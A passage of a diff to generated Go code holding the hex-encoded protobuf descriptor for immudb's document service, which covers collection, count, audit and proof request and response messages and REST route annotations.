0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, - 0x53, 0x69, 0x7a, 0x65, 0x3a, 0x3c, 0x92, 0x41, 0x39, 0x0a, 0x37, 0xd2, 0x01, 0x0e, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x04, 0x64, 0x65, 0x73, 0x63, - 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x22, 0x6a, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, - 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, - 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x11, 0x92, 0x41, 0x0e, - 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, - 0x02, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, - 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, - 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, + 0x51, 0x0a, 0x15, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, + 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, + 0x72, 0x79, 0x22, 0x3d, 0x0a, 0x16, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, + 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x63, 0x6f, 0x75, + 0x6e, 0x74, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x63, 0x6f, 0x75, 0x6e, + 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, + 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, + 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x3a, 0x3c, 0x92, 0x41, 0x39, 0x0a, 0x37, 0xd2, 0x01, 0x0e, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, + 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x04, 0x64, 0x65, + 0x73, 0x63, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x22, 0x6a, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, + 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x11, 0x92, + 0x41, 0x0e, 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, + 0x22, 0x8d, 0x02, 0x0a, 0x14, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, + 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x3a, 0x4d, 0x92, 0x41, 0x4a, 0x0a, 0x48, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, - 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x3a, - 0x4d, 0x92, 0x41, 0x4a, 0x0a, 0x48, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, - 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xce, - 0x02, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x3a, 0x56, 0x92, 0x41, 0x53, 0x0a, 0x51, 0xd2, 0x01, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0xd2, 0x01, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, - 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0xd2, 0x01, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x2a, - 0x3d, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, - 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, - 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, - 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x5c, - 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, - 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, - 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, - 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, - 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xa5, 0x10, 0x0a, - 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, - 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x12, 0x7f, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x22, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x17, 0x1a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8b, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x14, 0x2a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8f, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x22, 0xce, 0x02, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, + 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x3a, 0x56, 0x92, 0x41, 0x53, 0x0a, 0x51, + 0xd2, 0x01, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0xd2, 0x01, 0x0c, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, + 0xd2, 0x01, 0x0f, 